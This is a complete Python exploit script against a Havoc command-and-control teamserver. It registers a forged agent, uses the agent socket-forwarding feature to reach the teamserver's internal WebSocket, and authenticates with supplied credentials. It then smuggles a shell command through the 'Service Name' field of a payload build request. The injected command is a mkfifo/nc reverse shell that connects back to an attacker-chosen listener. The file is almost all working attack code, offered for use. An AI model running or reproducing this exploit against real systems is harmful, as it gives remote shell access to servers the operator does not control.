exploit.py

import subprocess
import time
import hashlib
import argparse
import random
import os
import binascii
import requests
from Cryptodome.Cipher import AES
from Cryptodome.Util import Counter
import urllib3

urllib3.disable_warnings()

# Constants
KEY_BYTES = 32
MAGIC = b"\xde\xad\xbe\xef"
AES_KEY = b"\x00" * 32
AES_IV = b"\x00" * 16
HEADERS = {"User-Agent": ""}
SOCKET_ID = b"\x11\x11\x11\x11"

# Utility Functions
def pad_key(key):
    return key.ljust(KEY_BYTES, b"0")

def create_cipher(key, iv):
    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    return AES.new(key, AES.MODE_CTR, counter=ctr)

def encrypt(key, iv, plaintext):
    cipher = create_cipher(pad_key(key), iv)
    return cipher.encrypt(plaintext)

def decrypt(key, iv, ciphertext):
    cipher = create_cipher(pad_key(key), iv)
    return cipher.decrypt(ciphertext)

def int_to_bytes(value, length=4):
    return value.to_bytes(length, "big")

def create_ws_frame(payload):
    fin, opcode, mask_bit = 0x80, 0x1, 0x80
    header = bytearray([fin | opcode])
    payload_length = len(payload)

    if payload_length <= 125:
        header.append(mask_bit | payload_length)
    elif payload_length <= 65535:
        header.append(mask_bit | 126)
        header.extend(payload_length.to_bytes(2, 'big'))
    else:
        header.append(mask_bit | 127)
        header.extend(payload_length.to_bytes(8, 'big'))

    masking_key = os.urandom(4)
    header.extend(masking_key)
    masked_payload = bytearray(b ^ masking_key[i % 4] for i, b in enumerate(payload))

    return header + masked_payload

# Exploit Functions
def send_request(url, data):
    response = requests.post(url, data=data, headers=HEADERS, verify=False)
    if response.status_code == 200:
        return response.content
    raise Exception(f"Request failed: {response.status_code} {response.text}")

def register_agent(url, hostname, username, domain_name, internal_ip, process_name, process_id, agent_id):
    command, request_id = b"\x00\x00\x00\x63", b"\x00\x00\x00\x01"
    hostname_len = int_to_bytes(len(hostname))
    username_len = int_to_bytes(len(username))
    domain_len = int_to_bytes(len(domain_name))
    internal_ip_len = int_to_bytes(len(internal_ip))
    process_name_len = int_to_bytes(len(process_name) - 6)
    padding_data = b"\xab" * 100

    header_data = (
        command + request_id + AES_KEY + AES_IV + agent_id +
        hostname_len + hostname + username_len + username +
        domain_len + domain_name + internal_ip_len + internal_ip +
        process_name_len + process_name + process_id + padding_data
    )
    size = 12 + len(header_data)
    agent_header = int_to_bytes(size) + MAGIC + agent_id
    send_request(url, agent_header + header_data)

def open_socket(url, socket_id, target_ip, target_port, agent_id):
    command, request_id = b"\x00\x00\x09\xec", b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    local_addr, local_port = b"\x22\x22\x22\x22", b"\x33\x33\x33\x33"

    forward_addr = b"".join(int_to_bytes(int(octet), 1) for octet in target_ip.split(".")[::-1])
    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    header_data = command + request_id + encrypt(AES_KEY, AES_IV, int_to_bytes(len(package) + 4) + package)

    size = 12 + len(header_data)
    agent_header = int_to_bytes(size) + MAGIC + agent_id
    send_request(url, agent_header + header_data)

def write_socket(url, socket_id, data, agent_id):
    command, request_id = b"\x00\x00\x09\xec", b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    socket_type, success = b"\x00\x00\x00\x03", b"\x00\x00\x00\x01"
    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    header_data = command + request_id + encrypt(AES_KEY, AES_IV, int_to_bytes(len(package) + 4) + package)

    size = 12 + len(header_data)
    agent_header = int_to_bytes(size) + MAGIC + agent_id
    send_request(url, agent_header + header_data)

def read_socket(url, agent_id):
    command, request_id = b"\x00\x00\x00\x01", b"\x00\x00\x00\x09"
    header_data = command + request_id

    size = 12 + len(header_data)
    agent_header = int_to_bytes(size) + MAGIC + agent_id
    response = send_request(url, agent_header + header_data)

    encrypted_package = response[12:]
    return decrypt(AES_KEY, AES_IV, encrypted_package)[12:]

def execute_ws_chain(url, socket_id, agent_id):
    # WebSocket handshake request
    ws_request = b"GET /havoc/ HTTP/1.1\r\nHost: 127.0.0.1:40056\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: qije830G9qsDMgOFIXblFA==\r\nSec-WebSocket-Version: 13\r\n\r\n"
    write_socket(url, socket_id, ws_request, agent_id)
    print("WebSocket handshake sent")

    # Authentication payload
    auth_payload = r'{"Body": {"Info": {"Password": "' + HAVOC_PASS + r'", "User": "' + HAVOC_USER + r'"}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": "' + HAVOC_USER + r'"}}'
    frame = create_ws_frame(auth_payload.encode())
    write_socket(url, socket_id, frame, agent_id)
    print("Authentication payload sent")

    # Listener creation payload
    listener_payload = r'{"Body": {"Info": {"Headers": "", "HostBind": "0.0.0.0", "HostHeader": "", "HostRotation": "round-robin", "Hosts": "0.0.0.0", "Name": "PWNBC", "PortBind": "443", "PortConn": "443", "Protocol": "Https", "Proxy Enabled": "false", "Secure": "true", "Status": "online", "Uris": "", "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}, "SubEvent": 1}, "Head": {"Event": 2, "OneTime": "", "Time": "08:39:18", "User": "' + HAVOC_USER + r'"}}'
    frame = create_ws_frame(listener_payload.encode())
    write_socket(url, socket_id, frame, agent_id)
    print("Listener creation payload sent")

    # Command injection
    command_payload = r'{"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\" \\\\\\\" -mbla; ' + CMD + r' 1>&2 && false #\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": "' + HAVOC_USER + r'"}}'
    frame = create_ws_frame(command_payload.encode())
    write_socket(url, socket_id, frame, agent_id)
    print("Command payload sent")

# Main Execution
def main():
    parser = argparse.ArgumentParser(description="Automated reverse shell exploit via WebSocket.")
    parser.add_argument("-t", "--target", required=True, help="Target URL of the server.")
    parser.add_argument("-i", "--ip", required=True, help="Reverse shell listener IP address.")
    parser.add_argument("-p", "--port", type=int, required=True, help="Port for reverse shell listener.")
    parser.add_argument("-U", "--user", required=True, help="User for authentication.")
    parser.add_argument("-P", "--password", required=True, help="Password for authentication.")
    parser.add_argument("-l", "--listener-ip", required=True, help="Listener IP for reverse shell.")
    parser.add_argument("-L", "--listener-port", type=int, required=True, help="Listener port for reverse shell.")
    args = parser.parse_args()

    global HEADERS
    HEADERS["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"

    global CMD
    CMD = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {args.listener_ip} {args.listener_port} >/tmp/f;"

    global HAVOC_USER
    HAVOC_USER = args.user

    global HAVOC_PASS
    HAVOC_PASS = hashlib.sha3_256(args.password.encode()).hexdigest()

    teamserver_url = args.target
    agent_id = int_to_bytes(random.randint(100000, 1000000))

    hostname = bytes("DESKTOP-7F61JT1", encoding="utf-8")
    username = bytes("Administrator", encoding="utf-8")
    domain_name = bytes("ECORP", encoding="utf-8")
    internal_ip = bytes("10.1.33.7", encoding="utf-8")
    process_name = bytes("msedge.exe", "utf-16le")
    process_id = int_to_bytes(random.randint(1000, 5000))

    # Register the agent
    print("[*] Registering agent...")
    register_agent(teamserver_url, hostname, username, domain_name, internal_ip, process_name, process_id, agent_id)

    # Open the socket
    print("[*] Opening socket...")
    open_socket(teamserver_url, SOCKET_ID, args.ip, args.port, agent_id)

    # Execute WebSocket chain
    print("[*] Sending WebSocket handshake...")
    execute_ws_chain(teamserver_url, SOCKET_ID, agent_id)

    # Listener command payload sent
    print("[*] Listener creation and command payload sent.")

    print(f"[*] Start a listener with: nc -lvnp {args.listener_port} on a different terminal.")
    time.sleep(2)

if __name__ == "__main__":
    main()